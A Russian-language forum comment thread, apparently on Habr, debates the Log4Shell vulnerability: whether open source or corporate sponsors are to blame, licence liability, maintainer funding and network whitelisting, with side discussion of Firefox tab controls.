09.01.2022 11:54+6А почему вы думаете только о "интернете", забывая, что можно подставить конкретный IP из локальной сети и дав адрес предварительно заражённой машины. Были случаи когда заражали сборочный сервер - от какого-нибудь сервера ФСО РФ до сервера SolarWinds, а уж случаев когда внутри корпоративной сети ломают первую машину в качестве плацдарма и вовсе каждый первый. Так что вектор атаки мне кажется более серьёзным, потому что если с моделью внешних угроз все худо-бедно научились жить (то же ограничение IP-адресов "снаружи", скажем, ходить на адреса ЦБ РФ за обновлёнными данными по валютным парам), то внутри компании ограничения могут быть намного более слабыми.
sshikov
09.01.2022 12:15-1Я не знаю, почему вы решили, что «только». Описанный вами сценарий конечно тоже возможен, но он означает, что «предварительно заражённые машины» уже существуют, то есть у вас в наличии больше одной уязвимости.
>внутри компании ограничения могут быть намного более слабыми
Не вижу особых причин для этого (ну кроме лени или недостатка времени). У нас и внутри ограничения — белый список. Ну т.е. если вашему приложению вдруг нужен сборочный сервер для установления исходящего соединения — то вы скорее всего про это знаете заранее, и разрешите его IP явно. А такого чтобы приложение ходило куда угодно на неизвестный список хостов — ну не знаю, у нас безопасники просто такую архитектуру не согласуют.
a0fs
09.01.2022 13:32+5Что меня порадовало в этой истории, так это то, что сначала создали интерфейс удобный, красивый и способный забрать что угодно и откуда угодно. Потом внедрили его много где (включая логер) поскольку он универсальный и удобный. А потом БАЦ!!!, "батюшки святы"(с) он же может получить что угодно и откуда угодно!
А на кой леший это создано, и зачем везде внедрено! Возможно Log4Shell открывает другую проблему в Open Source, а именно - черезмерное сремление к универсальности и всепогодности-всепроходности. Я вообще с трудом могу себе представить зачем нужен этот монстр (хотя бы он и миленький и удобненький) в практических случаях. Кому-то хотелось подтянуть строчку из LDAP или CORBA без лишних телодвижений? Это крайне похоже на стиль мышления Java (достаточно здравый на мой взгляд, если мы говорим о прикладных задачах) - наколбасить многомегабайтную библиотеку, чтобы в прикладе иметь возможность закрыть вопрос парой нотаций и одним объектом. Но вот глубина этого всего, что можно таким образом провернуть, явно великовата.
А что касается до аудита кода, то безопасный код пишется по другому. Безопасные библиотеки не удобны для новичков, и требуют понимания происходящего. По настоящему осознание "безопасность" приходит при чтении исходников OpenBSD. Я в своё время за пару часов с базовыми значниями sh прочитал скрипт запуска и установки этой системы, и мне стало КРИСТАЛЬНО понятно, что там происходит, поскольку было написано понятно, и прекрасно укладывалось в голову, без лишних сущностей. Подобное сейчас не пишут, а если и пишут то это не модно. На эти грабли вставали ещё во времена эпичных дыр в OpenSSL и с тех пор мало что изменилось.
sshikov
09.01.2022 13:46+4Ну на самом деле это не только про Open Source. Этот «интерфейс», это в принципе, тот же EL, который появился в свое время вместе с JSTL. И создан он не в виде OpenSource, а как часть J2EE. Вполне себе компанией Sun (хотя первая или вторая реализация возможно уже была в виде Apache Commons EL). Потом их впрочем масса уже расплодилась, MVEL и другие, сложно сосчитать, сколько их.
>А на кой леший это создано, и зачем везде внедрено!
Я бы так сказал — когда выражения, которые можно вычислить, находятся под нашим контролем — все еще более-менее неплохо, и удобно. Скажем, logback тоже позволяет похожие вещи писать, и Camel, и JSTL, откуда все это пошло, да что там — я и сам такое использовал. Но эти случаи ограничены «конфигами», то есть пишутся в файлах, которые контролирует разработчик или админ. То есть, чтобы проэксплуатировать возможность «забрать что угодно и откуда угодно» — нужно иметь доступ на запись к конфигу, как минимум.
Это ведь не первая статья на данную тему, а скорее двадцатая. И когда появились первые публикации, я лично полез в документацию log4j смотреть, а что собственно за фигня. Так я потратил достаточно много времени, но до сих пор не могу сказать, где там написано, что это можно использовать не только в конфиге, но и в данных. То есть в конкретном случае налажали во всех смыслах — разрешили это в данных, и не описали в документации как следует, что это вообще и с чем его едят. Когда читаешь описание — изначально складывается впечатление, что это фича для конфигов только. И даже то свойство, которое должно сию фичу отключать — попробуйте его в документации найти? Мне вот не удалось сходу это сделать — только в коде.
Carburn
10.01.2022 17:25так реализацию этого expression language и добавили jndi туда создатели log4j сами?
sshikov
10.01.2022 17:36Не уверен. Не исключаю что там своя реализация. Причем насколько я вижу, до кого-то дошло, насколько это серьезно:
issues.apache.org/jira/browse/LOG4J2-3211
issues.apache.org/jira/browse/LOG4J2-3294
amarao
09.01.2022 16:51+4Мне кажется, вы используете "open source" как замену слову "код". Если посмотреть на тысячи уявимостей у MS, то там никакого open source нет, а баги все те же.
a0fs
09.01.2022 17:18Не совсем. Есть баги, которые появились по недомыслию, скудоумию, невнимательности, а есть атомный фугас неуправляемой универсальной функциональности оставленной без присмотра, только потому, что он "Open Source" и "тысячи программистов по всему миру его проверили"(с). Есть множество ПО долгое время живущее без проблем просто потому, что не стремятся покрыть собой весь мир. И тот же log4j жил бы спокойно, если к тому обычному для него километру конфигов нужно было явно добавить строки с подключением модулей для парсинга этих выражений. Глядишь и парсилось бы быстрее...
amarao
09.01.2022 18:03+7Почему одно "по недомыслию", а другое "ядерный фугас"? И там и там не подумали. Условные винды с ping of death были не менее выразительны (а повреждений было меньше из-за меньшей связности по сети).
opensource - это атомный фугас, а винды, которые с флешки autorun запускают - это "всего лишь скудоумие". Его, кстати, даже багом не признали.
Borz
09.01.2022 19:24+3Почему одно "по недомыслию", а другое "ядерный фугас"?
"Все наши агенты – это разведчики, а все вражеские – это шпионы"
3epg
09.01.2022 10:35+43Опенсорс виноват в том, что если бы его не было, то дыра была бы в платной/закрытой библиотеке и её (дыру) никто бы не нашёл?
Sheti
09.01.2022 10:53+29тут даже хуже выходит. ОпенСорц виноват в том, что не делает бесплатно пуленепробиваемый софт на основе которого корпорации будут делать деньги. Их же никто не заставлял использовать открытый софт. И исходники для проверки никто не прятал. Но винить себя в том, что наш платный софт пострадал из-за того, что мы доверились ОпенСорц проекту с людьми работающими на голом энтузиазме... Это даже звучит не как оправдание.
3epg
09.01.2022 11:02+15Даже не так. Опенсорс виновен в бесплатном распространении софта и библиотек, использование которых может быть не безопастно и не предоставляет никаких гарантий.
Хотя подождите! А чем это отличается от платного софта??
Wesha
09.01.2022 11:07+11Бесплатностью жеж! :)
movl
09.01.2022 17:45+1Бесплатность не тождественна отстутствию ответсвенности. Возможно именно в этом автор и увидел кризис, по крайней мере в том изначальном смысле этого слова, что обвинения звучат, а каких-то средств регулирования проблемы не существует.
gecube
09.01.2022 17:53+1Бесплатность не тождественна отстутствию ответсвенности
Не тождественна. Но ответственность у разработчиков опенсурса наступить не может. С чего? Если бы разработчик опенсурса умышленно вносил уязвимости в код... но это недоказуемо. Да и вообще - как доказать, что именно Васян внёс уязвимость. Он же потом будет рассказывать, что его взломали, gpg ключи угнали и все такое. И вообще - он пишет код в свободное время и никому никаких гарантий ни по безопасности, ни по скорости, ничего он не давал. И вообще он художник и так видит.
movl
09.01.2022 18:01-1Так я никого и не обвиняю. Просто говорю, что в профессиональном сообществе есть разные взгляды на проблему, и чем чаще будут появляться подобные обсуждения, тем быстрее кто-либо возметься за их решения. Возможно даже вплоть до юридического регулирования со сроками за кривой код, например если появятся прецеденты со смертельными исходами, но как по мне это крайне маловероятный сценарий.
Wesha
09.01.2022 19:50Бесплатность не тождественна отстутствию ответсвенности.
Вот ответственность и была на том, кто эту библиотеку в своём проекте использовал — вместо того, чтобы написать свою, и за неё полностью отвечать.
ilammy
10.01.2022 05:02Бесплатность не тождественна отстутствию ответсвенности.
Limitation of Liability. In no event and under no legal theory [...] unless required by applicable law [...] or agreed to in writing, shall any Contributor be liable to You for damages [...] of any character arising as a result of this License or out of the use or inability to use the Work [...] even if such Contributor has been advised of the possibility of such damages.
В общем случае ответственность не наступает. Для наступления нужна конкретная статья, что ты — лицензиар — ответственен за последствия использования того, что там лицензировано. До этого может дойти разве что дорожкой из трупов, и то, из солидарных соображений.
sergey-b
09.01.2022 11:10+5Что-то мне кажется, что это попытка переложить с больной головы на здоровую. Я ситуацию вижу так:
Вот эти компании https://www.apache.org/foundation/thanks сами же и продонатили вот эту фичу https://issues.apache.org/jira/browse/LOG4J2-313
Никто из пострадавших данную фичу не заказывал и ею не пользовался. Получается наоборот, если бы спонсоры не вмешивались, то и проблемы бы не было.
mayorovp
09.01.2022 11:19+8Вот только опасная фича — это вовсе не поддержка JNDI. Опасной фичей тут является парсинг log4j-разметки в логируемых сообщениях, в то время как надо было бы оставить эту разметку только для конфигов и, может быть, строк формата.
sergey-b
09.01.2022 14:48+2Судя по тому, что я накопал в их гитхабе, опасная интерполяция строк - это не отдельная фича, а особенность реализации фичи с лукапами. Там была когда-то реализована возможность по регулярному выражению что-то подставить уже после того, как строка была отформатирована. Обычно это делается для скрытия паролей и другой конфиденциальной инфы. А уже потом, когда добавляли lookups, вставили его не в то место, где осуществляется форматирование, а в то место, где осуществляется финальная подстановка.
На мой взгляд, тут проблема именно в спонсорах. Если я сделаю pull request с какой-нибудь фичей, ее будут рассматривать под микроскопом, спрашивать: "а зачем это?", "а для чего?", "а безопасно ли?", "а кому это нужно?". Если же спонсор кинет емэйл мэйнтэйнеру: "Бро, сделай вот эту штуку, плиз", - то сам мэйнтэйнер быстренько запилит, быстренько отревьюит, быстренько вольет, и никто не заметит.
Тут вообще от архитектуры надо идти. Должно быть некое ядро и динамически подключаемые плагины. Нужна какая-то хитрая специфическая функциональность - пили плагин. Если какой-то плагин оказывается уязвимым, отключаешь его, и все. Тут же специфическую для очень редких случаев функциональность воткнули прямо в ядро, на мой взгляд, из-за желания угодить спонсорам.
Wesha
09.01.2022 19:35+3Получается наоборот, если бы спонсоры не вмешивались, то и проблемы бы не было.
Sponsored by АНБ.
AlexanderRS
09.01.2022 11:14+5Не понятен посыл. Хотите, чтобы писатели логера получали зарплату? Наберите команду и пусть пишут логер. Продавайте его потом или распространяйте бесплатно - как захотите. Вы же не считаете, что свободный софт - это результат рабского труда? Или вы думаете, что за деньги пишут всегда хорошо? Какую проблему мы сможем решить?
sshikov
09.01.2022 11:24Вообще-то писатели логгера и так получают зарплату. У Apache Group есть спонсоры, это на их странице в википедии вполне ясно написано (Google и Microsoft, например, дают больше 100 тыс. долларов в год каждый). Много или мало — вот тут уже вопрос.
AlexanderRS
09.01.2022 11:31Это был абстрактный логер :) Без привязки к apache
sshikov
09.01.2022 11:35Ну да. Я не знаю, получает ли зарплату писатель logback, например. Но как выяснилось, дури там меньше )
Areso
09.01.2022 13:08+1больше 100 тыс долларов
Зарплаты двух джунов с накладными расходами.
Mingun
09.01.2022 13:15С другой стороны, логгер то они не каждый же день по 8 часов пишут
sshikov
09.01.2022 14:13+3Ну, это еще вопрос без ответа. Скажем, заводили как-то баг в jira Apache Spark, причем уже кажется третий или четвертый раз. Первый раз завели не мы, баг был закрыт с мотивацией «не воспроизводится». Я лично, и еще какие-то люди, написали комментарии, что прекрасно все воспроизводится, и приложили код для повторения. Баг снова закрыли, так как я мог его повторить только на версии 2.2.0, а она была EOL. Потом у нас появилась версия 2.4.5 (через годик), мы повторили на ней, и завели баг снова. Угадайте с трех раз, что с ним сделали? Да-да, тоже самое — закрыли, так как версия 2.4.* уже тоже стала EOL. Повторили еще раз, на 3.0.1, завели уже третий баг. Вот ждем ответа пока. Что характерно — код, где воспроизводится баг, не менялся сто лет. Тот же exception, в той же самой строке, в каждой из версий.
Ну то есть, я не знаю, что там конкретно в log4j проекте, а в спарке (который тоже Apache Group) явно есть отдельные люди, которые занимаются тем, что следят за Jira, причем делают это чисто формально, как в нашем случае. Я вот совершенно не уверен, что они не на зарплате в условном Databricks.
P.S. Те люди, с которыми я знаком по личному общению, пишут по паре более-менее крупных проектов где-то в RedHat. Ну т.е. делают скажем Jboss Fuse, который коммерческий, и попутно выпускают в виде OpenSource его компоненты Apache Karaf и Camel, например.
sshikov
09.01.2022 13:17+1Ну, не совсем. Более 100 тыс. в год — это просто статус платинового спонсора. Но мне лично не известно, насколько в реальности больше.
Но ваш посыл я вполне понимаю — формально платиновый спонсор Apache Group — это тот, кто содержит одного-двух разработчиков, возможно. Что конечно же мало.
ComodoHacker
09.01.2022 11:53+10После Heartbleed появились альтернативы OpenSSL и заняли существенную нишу. Сильно активизировалась разработки новых memory-safe языков, исключающих повторение подобного. Не говоря уже о том, что пропатчили и задеплоили все довольно быстро. Даже некоторые производители домашних роутеров подсуетились и выпустили патчи к старым, не поддерживаемым более моделям.
Если это о чем-то говорит, то о том, что open-source работает. Нечего панику нагонять.
vikarti
09.01.2022 12:01И по сути повторяется история с Heartbleed'ом. Ну в тот раз выводы в плане нормальной поддержки OpenSSL сделали...
aleks_pingvin
09.01.2022 12:08+2Ай-ай-ай, опенсорус плохой, корпораты хорошие. Да и там и там баги. Возможность провести аудит не равно его постоянному проведению. Собственно даже сертификация ПО использующего библиотеки с открытым исходным кодом при которой все исходники ПО и библиотек передаются в лабаратории не даст ни какой гарантии, что там что-то выявят. Просто прогонят статическими анализаторами и функциональными тестами и все.
Проблема глобальна и как ее решать не очень ясно. Писать всякий раз свои велосипеды со своим зоопарком багов? Дорого и не имеет для выполнения многих задач смысла. Сделать организацию, которая будет материально поддерживать мейнтейнеров опенсоурсных систем? Да можно, но деньги = возможность прямого и безальтернативного влияния на вектор развития этих систем вплоть до внедрения неявных "дыр" и т.п.
slivkarmy
09.01.2022 12:14+5Вчера я одному известному блогеру отправил на рецензию англоязычную статью, где призываю пользователей RSS-Bridge платить за мою работу сопровождающего проекта.
На данный момент жду ответа от него. Надеюсь ответит.
Cегодня я читаю эту статью, и ух как прям хочется высказаться.Процитирую ту часть, которая мне понравилась:
Решением может стать нормальное финансирование опенсорса с профессиональными мейнтейнерами на зарплате.
Правильно! Я, как сопровождающий проекта, всеми руками и ногами за! Я даже согласен не получать 150 000 USD в год, а просто 15 USD в час с видео-записью экрана и краткими текстовыми отчетами. Это чуть больше 30 000 USD в год. Живу в Уфе. В какие-нибудь дорогие Москву, Калифорнию или Берлин переезжать я не планирую.
В общем, есть предложение реализовать юридический механизм, чтобы корпорации могли платить зарплату независимым мейнтейнерам.
В моем случае уже есть такой механизм. Станьте спонсором на Open Collective. Любителям инвойсов, отчетов и прочей бухгалтерии там будет комфортно, потому-что надо платить формально юрлицу "Open Source Collective", а та потом с комиссией скидывает деньги мне.
Какие конкретно задачи я буду делать я перечислил в англоязычной статье выше. Раздел "Roadmap".
PS: я кстати уже писал в начале декабря русскоязычную версию статьи и попытался на хабре опубликовать. Модераторы ее не приняли.
ComodoHacker
09.01.2022 13:57Модераторы ее не приняли.
По причине?
slivkarmy
09.01.2022 15:00По причине?
К сожалению, точный текст причины не помню и этот текст не сохранился, как и сама статья. Сохранилось только уведомление об отклонении модератором, датированная 3 декабря 2021.
Могу сказать, что после прочтения причны, я сделал вывод, что нужно статью переписать, чтобы она была более структурированная. После исправления я снова подал на рассмотрение, и ее долго не рассматривали. Я думал может быть модераторы не работают в субботу и воскресенье. В итоге после того, как не рассмотрели в понедельник, а именно 6 декабря 2021, я сделал вывод, что ее просто решили не рассматривать.
Через некоторое время сама статья в моем профиле изчезла.
Само содержание той изсчезнувшей статьи отличается от текущей англоязычной. Например в русскоязычной версии были реквизиты на мои кошельки QIWI, Cбербанк.Онлайн и ЮМани, когда как в англоязычной вместо них используется ссылка на страничку в Open Collective, про который я узнал позже.
vikarti
09.01.2022 20:06Чем RSS-bridge отличается от https://www.fivefilters.org/feed-creator/? (кроме модели разработки)?
slivkarmy
09.01.2022 22:08Чем RSS-bridge отличается от https://www.fivefilters.org/feed-creator/?
С продуктом не знаком. Поэтому пишу о том, с чем ознакомился за первые 10 минут.
В RSS-Bridge для сайта надо писать скрипт на PHP. Генерируемая ссылка с лентой не изменяется, если меняется структура страницы. Разумеется требуется переписывать скрипт под новую структуру страницы.
В справочнике для генерации лент для твиттера автор предлагает использовать либо другой свой продукт либо RSS-Bridge.
der_Kater
09.01.2022 12:18+1мозилла да, отличный пример. (нет) сначала они убрали разделители между вкладками, но это можно было восстановить в about:config
потом они убрали это и оттуда. обходные пути ещё есть (пока) но они сложнее. и теперь все вкладки - это единая серая полоса.
далее они убрали крестики закрытия на вкладках. т.е. после некоего числа вкладок, что то около 10, закрыть в один щелчок невозможно. щёлкай правой кнопкой, выбирай "закрыть вкладку", щёлкай ещё раз. 3 действия вместо одного.
про то что они выгнали почтовый клиент на мороз - ну это было уже давно, все уже и забыли.
можно сказать, что это внешний вид, интерфейс, это вкусовщина, а вот внутри то там ого как всё сделано! и вот в этом ого свежайшей версии я не смог открыть собственный репозиторий на битбакете. ну то есть страничка открывается, но отображается пустой. со скрипом и пыхтением пришлось перейти на... ну понятно куда, больше то некуда.
dot22
09.01.2022 12:27По поводу разделителей между вкладками.
Вот это не поможет? https://separator.mayastudios.com/
И, вроде, не так сложно. Нужно только в свойствах закладки убрать имя, и будет выглядеть красиво )
der_Kater
09.01.2022 13:33надо смотреть что эта штука делает. так то понятно что есть и всякие расширения для работы с вкладками и тд
dot22
09.01.2022 14:32+2Просто еще одна закладка на панели закладок, у которой favicon в виде вертикальной черты. Если в настройках закладки убрать имя, то останется тольк этот значок, который и будет выглядеть разделителем. Не нужно устанавливать расширение для броузера, которое так или иначе будет отнимать память и время процессора, при переносе закладок с одного броузер в другой (или при их синхронизанции) будет выглядеть одинаково для всех броузеров.
Mingun
09.01.2022 13:13А зачем жать на крестик, когда есть средняя кнопка мыши… или даже Ctrl+W
der_Kater
09.01.2022 13:31+3ну, ctrl+w работает только на одной вкладке. той, которая активна сейчас. т.е. иной сценарий.
про среднюю кнопку мыши я не знал, искаропки оно у меня не работает (calculate+kde), в первых ссылках в гугле мне выдало "Middle click, aka wheel click, does nothing"
я не говорю о том, что функционал выпилили вообще.
я говорю о том, что он стал неочевиден, неэргономичен и недоступен так, как он был доступен раньше - без настроек в about:config и тд.
transcengopher
10.01.2022 18:15У меня в Cinnamon DE сейчас из-за настроек Middle Click тоже не работает, но это именно из-за настроек — по умолчанию там включена имитация Middle Click через нажатие обеих кнопок мыши одновременно. Не знаю уж, почему такое умолчание, но может и у вашей DE так же, как у моей.
К слову, постепенно привыкаю к комбинации RMB+LMB Click. В некотором роде это даже удобнее, чем Middle Click, так как исключает возможность вместо клика по колёсику сделать прокрутку.
nidalee
09.01.2022 13:26далее они убрали крестики закрытия на вкладках. т.е. после некоего числа вкладок, что то около 10, закрыть в один щелчок невозможно. щёлкай правой кнопкой, выбирай «закрыть вкладку», щёлкай ещё раз. 3 действия вместо одного.
Щелкайте колёсиком мыши.
dartraiden
09.01.2022 14:52+13 действия вместо одного.
В 2 действия: сделать вкладку активной и нажать крестик.про то что они выгнали почтовый клиент на мороз
Правильно сделали: браузер это не почтовик, не торрент-клиент, не нужно делать из него bloatware. История с превращением Nero Burning ROM, в bloatware была очень давно, видимо, мало кто уже помнит.и вот в этом ого свежайшей версии я не смог открыть собственный репозиторий на битбакете. ну то есть страничка открывается, но отображается пустой
Если это не воспроизводится на чистом профиле, то это работа навешанных дополнений и натвиканных твиков, то есть, вина пользователя.
Physmatik
09.01.2022 18:16закрыть в один щелчок невозможно
Средняя кнопка мышки (или трёхпальцевый тап на большинстве современных тачпэдов).
SbWereWolf
09.01.2022 13:27+4Не согласен с тем, что корпорации должны поделиться.
Сотрудники должны ответственно подходить к использованию стороннего кода. Думаю корпорации этого требуют от сотрудников. Но сотрудники забивают, а корпорации слишком доверяют своим сотрудникам.
Корпорации могут проводить аудит, до того как код будет использован в производстве. А могут не проводить. Это вопрос их рисков.
Корпорации могут контрибьютить и исправлять баги. Многие так делают. Яндекс любит рассказывать как контрибьютит в Постгрес.
Вы предлагаете корпорацям платить за то что другие используют бесплатно. Корпорации должны платить, просто потому что у них есть деньги. Хотите денег - напишите об этом в условиях лицензирования.
Одни сотрудники накосячили, теперь другим сотрудникам пришлось эти косяки срочно исправлять и вы хотите что бы корпорации раскошеливались, они уже заплатят за разработку патчей и выпуск новых пропатченевх версий, за передеплойвсего на свете.
Вы требуете платить зарплату майнтейнерам. Корпорация уже заплатила деньги сотрудникам, которые забили на аудит. Теперь надо заплатить контрибьюторам ? А какую ответственность контрибьютор понесет перед корпорацией, если тоже забьёт на аудит ?
Wesha
09.01.2022 19:39Не согласен с тем, что корпорации должны поделиться.
А то, что опенсорсники поделились (кодом) с корпорациями — это, по-Вашему, так и должно быть?
SbWereWolf
10.01.2022 03:46+1Захотели и поделились, https://packagist.org/packages/sbwerewolf/ - мне хочется я делюсь, сейчас библиотеку свою допилю и тоже поделюсь.
Вам не хочется ? Не делитесь, ни кто не осудит.
Wesha
10.01.2022 04:42-2Я осужу (морально). Потому что я с корпорациями своим трудом делюсь, а они со мной совсем ничем не делятся. Это "тунеядство" называется (в английском точнее — freeloading).
mrsantak
10.01.2022 10:53+2Вы вольны в условиях лицензии своего open source кода указать любые законные требования к тем, кто будет этот код использовать. Если считаете, что корпорации вам что-то там должны за использование вашего кода - то пропишите это в лицензии. Вот если корпорации нарушат лицензию, то тогда и называйте их тунеядцами и осуждайте морально. А то чем вы сейчас занимаетесь - называется произвол.
Areso
10.01.2022 11:49+1Произвол, это требовать супер качество, супер безопасность, регулярный аудит, и все такое прочее от людей (заметьте, именно от людей), которые корпорациям и другим людям ничего не должны.
А так получается классика жанра. Сначала кто-то сделал для себя библиотеку, и выложил ее в общий доступ. Потом пришли большие корпы и что-то там просят, а иногда и откровенно требуют, при этом баблишко платить не готовы.
mrsantak
10.01.2022 12:47По моему опыту большие корпы как раз ничего от опен сорса и не требуют. Есть готовая библиотека - используют, нет готовой библиотеки - пилят что-то свое, иногда даже выкладывают в тот самый опен сорс. Это вы тут начнинаете задним числом какие-то требования придумывать к тем кто пользуется опен сорсом.
Sychuan
10.01.2022 13:41Потом пришли большие корпы и что-то там просят, а иногда и откровенно требуют, при этом баблишко платить не готовы.
Где кто и что требуют? Ну и да, значительная часть оупенсорса как раз корпорацяими и финансируется
Wesha
10.01.2022 20:01То есть Вы без 44-страничного документа, обнюханного и подписанного лучшими адвокатами, бабушку через дорогу не переведёте?
А в наше время это называлось "вежливость". Что-то взял от сообщества — изволь как минимум столько же обратно положить.
mrsantak
10.01.2022 22:10+1То есть Вы без 44-страничного документа, обнюханного и подписанного лучшими адвокатами, бабушку через дорогу не переведёте?
Ну если вы не можете выразить свои требования на меньшем кол-ве страниц, то да, нужен будет 44 страничный документ. Впрочем обычно open source лицензии требуют поменьше и влезают в документы покороче, но конкретно ваши запросы могут быть поболее чем, скажем, у MIT License. А вот зачем адвокатам обнюхиваит и подписывать ваши лицензии для меня загадка. Кажется, что вы не очень понимаете функции адвокатуры.
А в наше время это называлось "вежливость". Что-то взял от сообщества — изволь как минимум столько же обратно положить.
Не знаю что там в ваше время как называется. В мое время менять требования задним числом вежливостью не называется.
Wesha
11.01.2022 00:08-1Я к тому, что нормальные люди делают то, что дОлжно, без всяких лицензий. А халявщики — они халявщики и есть, им
законлицензии не писаны.mrsantak
11.01.2022 00:43+3Не знаю кто такие в вашем понимании нормальные люди и кому они там чего должны. Выложив проект в опен сорс с какой-либо лицензией автор предлагает всем договор, пользователи данного проекта начав собственно этот проект использовать на этот договоро соглашаются. С этого момента и автор и пользователи должны друг другу ровно столько сколько в лицензии прописано.
Все остальное - это ваши выдумки. Не хотите, чтобы вашим проектом пользовались бесплатно - не выкладывайте его под лицензиями подразумевающими бесплатное использование.
Wesha
11.01.2022 01:05-1Все остальное - это ваши выдумки.
Ага, "не хотели б, чтобы я ходил по этой траве — забор поставили бы!" (c).
mrsantak
11.01.2022 02:45+2Ага, "не хотели б, чтобы я ходил по этой траве — забор поставили бы!" (c).
Скорее, "не хотели б, чтобы я ходил по этой траве — не ставили бы табличку "ходи кто хочешь!".
Вы серьезно считаете, что предложить что-то кому-то бесплатно, а потом называть согласившихся тунеядцами, халявщиками и ненормальными т.к. они не занесли вам денег - это ок? Никаких противоречий не замечаете?
Wesha
11.01.2022 03:22-2Вы серьезно считаете, что предложить что-то кому-то бесплатно,
Вы серьёзно считаете, что это я за Вами бегаю, тычу Вам в морду свою библиотеку и канючу "ну возьмите! ну позязя!"?
worldmind
09.01.2022 21:05а корпорации слишком доверяют своим сотрудникам
чушь это, безопасники в корпорациях никому не доверяют, но тратить бабки никто не хочет.
SbWereWolf
10.01.2022 03:48Ещё бы безопасники в коде разбирались :) мы бы тогда все повешались. Мне лично хватает бизнес аналитиков, которые меня учат код писать.
iiopy4uk_mck
09.01.2022 13:52+4Да, нашлась проблема с очень обширным эффектом. Я еще могу посмеятся, когда джава во всем виновата (сам дотнет чед). Но когда уже опенсорс виноват, не смешно.
Mitch
09.01.2022 14:07+4Безопасность просто стоит очень очень дорого, и на нее все забивают так или иначе.
Чем безопаснее, тем дороже и дольше разработка - рынок не одобряет безопасность.
Рынок хочет быстро, дешево и удобно.
А то что все тормозит и содержит 100500 дыр не так важно для пользователя, главное чтоб как то работало, и недорого.
Поэтому все нормально.
Если корпорация решает что в какой то области надо повысить безопасность, потому что это релаьно важно для бизнесе - то и аудит используемых компонентов будут делать серьезнее.
А так то в вебе сплошной аджайл, все бегом бегом, главное фичи и быстрая доставка.
Не ракеты делаем.
feoktant
09.01.2022 14:43Интересно было бы узнать сколько разработчиков вообще знала об этой фиче с jndi в log4j до того как нашли уязвимость.
Все эти разговоры сейчас больше похоже "а на кого бы повесить эту вину".
leventov
09.01.2022 16:20+8Проблема не с финансированием опен-сорса. Если бы разработчики Log4J были на зарплате, ничего бы не поменялось, точно также была бы уязвимость и привела к таким же последствиям, если бы ее нашли раньше.
Проблема в архитектуре ПО (blast radius). Единственный способ избежать проблемы -- использовать только разделяемые компоненты, которые никогда, ни за что не "лезут в систему", не имеют дело с файловой системой и т. д., а оперируют на уровне чистой логики (то есть, чистые функции). Но это абсолютная утопия, 90% ценного разделямого кода не может не лезть в систему (вспомним про библиотеки работы с БД, серверные фреймворки, библиотеки работы с сервисами/АПИ).
Если хотите, мы имеем проблему с "глобализацией ПО" через опен-сорс -- хотим разделение труда и сокращение усилий, платим вот такими уязвимостями с огромными последствиями. Так же и в мире: хотим эффективность -- платим пандемиями и другими "случайными" глобальными эффектами (кто-то думал, что произошло бы, если бы Ever Given не удалось бы снять с мели?). Никак этот "побочный эффект" глобализации не лечится, это данность. Об этом хорошо пишет Н. Талеб в "Антихрупкости".
В Java проблема дополнительно усугубляется тем, что любая библиотека может тянуть за собой что угодно, нельзя работать с монадами/аспектами/трейтами сквозь стек, как это можно, например, в Haskell, Scala. И нет нормального скоупинга доступа, как монада IO в Haskell. Впрочем, большинство других популярных серверных языков: C#, Go, PHP, JS, и т. д. тут ничем не лучше Java (все помнят event-stream?).
Soukhinov
10.01.2022 14:43Единственный способ избежать проблемы -- использовать только разделяемые компоненты, которые […] оперируют на уровне чистой логики (то есть, чистые функции).
Теоретически можно придумать проблему безопасности и в чистых функциях, в которых есть «только логика». Например, функция при определённом стечении обстоятельств может съедать всю память или быстродействие, давая возможность denial-of-service атак. А ещё функция может майнить крипту в пользу атакующего — это же чистая логика (связь с внешним миром не обязательна — результаты майнинга могут быть возвращены, как возвращаемое значение функции).
0xd34df00d
10.01.2022 21:58связь с внешним миром не обязательна — результаты майнинга могут быть возвращены, как возвращаемое значение функции
И что с ними дальше произойдёт? Пользователь библиотеки собственноручно напишет код по их отправке куда надо?
inkvizitor68sl
09.01.2022 16:25+3Ваша статья имела бы некоторый смысл, если бы не волны взлома Exchange-серверов каждый месяц. А в ночь с 31 на 1 и вовсе почти все exchange выключились.
И сколько сейчас существует уязвимых проприетарных систем, которые "уже не поддерживаются, плотите деньги и обновляйтесь" - лучше не задумываться. А уязвимости там такие же.
rrrad
09.01.2022 16:48+1Когда обнаружили heardbleed, то появлялись такие-же статьи (про то, что OSS делается усилиями энтузиастов, а пользуются им все, включая корпорации, зарабатывающие на этом большие деньги), только про ключевое ПО, используемое в архитектуре значительной части сайтов.
ogost
09.01.2022 17:17+4Как будто у софта с закрытыми исходниками уязвимостей подобного класса нет. Или у коммерческой разработки.
hanzakkerman
09.01.2022 18:02Вообще пример с ldap:// в статье - сильно неудачный. Никаких file'ов в LDAP нет, да и даже если речь идёт о запросе каких-то атрибутов, содержащих блобы - выхлоп не будет бинарным же, это будет LDIF
dn: uid=foo,out=bar,dc=example,dc=com
jpeg: [base64 encoded string]
Ну т.е. можно было придумать более адекватный пример.
Ну или безусловно интерпретация логируемого библиотекой логирования - тот ещё бич. Если log4j действительно так делает, то это... очень плохо.
celebrate
09.01.2022 19:24+4Очередная статья, которая делит на софт на безопасный и небезопасный по принципу его открытости.
gkislin
09.01.2022 19:30+2что данный баг вскрыл фундаментальную проблему с безопасностью Java и качеством кода опенсорсных проектов в принципе
При чем тут Java и при чем тут Open Source ??? Типа на другом языке или в коммерческом продукте такую дыру принципиально не смогли сделать? Я имею в виду не механизм JNDI, а саму задумку, реализации возможно разные.
Последствия этих массовых взломов нам ещё предстоит оценить
Вот огромное количесво шумихи, куча мемов, логи видел на приложения с "проверкой" на уязвимость и еще нигде не увидел ни одной публикации про постадавших. Кто-то может знает?
Корпорации постарались раздуть это себе на пользу - постоянные нападки на опен сорс с совершенно нелепыми аргументами. Мне посчасливилось пережит 2 аудита безопасности приложений у компаний - лажа жуткая. Я не говорю, что все такие, но открытый код дает гораздо больше гарантий, мое мнение. Над чем действительно стоит поразмыслить - КАК такую дыру сделали в продукте и КАК ее не увидели с 2013 г....gecube
09.01.2022 20:45+1Вот огромное количесво шумихи, куча мемов, логи видел на приложения с "проверкой" на уязвимость и еще нигде не увидел ни одной публикации про постадавших. Кто-то может знает?
мы как минимум пострадали следующим образом:
пришлось в срочном порядке проводить инвентаризацию всех своих ресурсов, чтобы понять что уязвимо
параллельно - остановить всю разработку, чтобы она патчила log4j на новую версию
там где невозможно запатчить - придумать и реализовать меры по противодействию (самое простое и тупое - на WAF включить нужные сигнатуры, например).
sshikov
